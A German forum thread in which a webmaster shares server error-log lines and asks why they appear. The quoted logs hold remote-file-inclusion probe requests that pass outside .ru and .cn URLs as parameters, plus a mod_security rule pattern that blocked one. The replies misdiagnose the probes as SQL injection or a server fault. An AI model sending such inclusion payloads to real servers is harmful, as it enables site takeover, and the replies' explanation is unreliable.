LOG-Dateien

[Nase]

Dafür gibts hier eigentlich keinen passenden Thread, daher schrib ichs mal hier rein:

In der error.log-Datei eines von mir betreuten webspaces tauchen täglich neben den üblichen 404ern und 403er folgende komische Zeilen auf: (hab die betreffende URL des webspaces mal zu "url.de" gemacht)

Code: Alles auswählen

File does not exist: /home/www.url.de/htdocs/galerie.php http://httpparty.chat.ru/images

Neben "http://httpparty.chat.ru/images" gibts noch einige andere merkwürdige URLs, die in diesen Zeilen auftauchen, z.B.

Code: Alles auswählen

File does not exist: /home/www.URL.de/htdocs/galerie.php http://ironmanshome.chat.ru/images

Ich muss wohl dazusagen, dass ich mit diesen .ru-Domains nix am Hut habe. (und ich sie auch nicht aufrufe, was ich auch niemand anderem empfehle, wenn er nicht weiß was er tut)

Eine weiter Fehlermeldung die ich dauernd sehe ist:

Code: Alles auswählen

mod_security: Access denied with code 403. Pattern match "=(http|www|ftp)\\\\:/(.+)\\\\.(c|dat|gif|jpg|jpeg|png|sh|txt|bmp|dat|txt|js|htm|html|tmp|asp)\\\\?" at REQUEST_URI [severity "EMERGENCY"] [hostname "www.URL.de"] [uri "/bilder/2008/active/components/xmlrpc/client.php?c[components]=http://games.enet.com.cn/zhuanti/dkp/02.gif?"] [unique_id "SA8sG9kfUasAAHSrdf8"]

oder: script not found or unable to stat: /usr/local/httpd/htdocs/_vti_bin

Watt soll das denn? (Auch mit der .cn-Domain hab ich nix zu tun).

Diese LOG-Zeilen tauchen mehrfach täglich auf und vielleicht weiß jemand, wieso jemand diese Anfragen an den Server sendet.
Tschö!

[Eyecatcher]

Vielleicht versucht ein illegaler Bot durch eine (SQL) Injection diese Daten in deinem Code zu includen oder anderweitig aufzurufen!? Überprüf mal ob du deine Input- Felder auf falschen Code überprüfst. Falls du keine hast, weiß ich auch nich

[Nase]

Nee, da kann eigentlich nichts passieren. Die betreffenden Dateien ham meistens keine Input-Möglichkeiten, PHP includiert nur n bisschen was.
Ne Datenbank ist auf dem webspace auch nicht vorhanden, also herrscht da keine Gefahr.
Trotzdem hätte ich nichts dagegen, wenn ich dem Treiben ein Ende machen könnte.

[Eyecatcher]

Ich würd mich einfach mal beim Betreiber / Verkäufer des Servers melden, die haben eventuell mit sowas schon Erfahrung. Und wenn du dir sicher bist, dass es nicht an deinem Code liegen kann, muss es ja fast ein Fehler am Server sein!?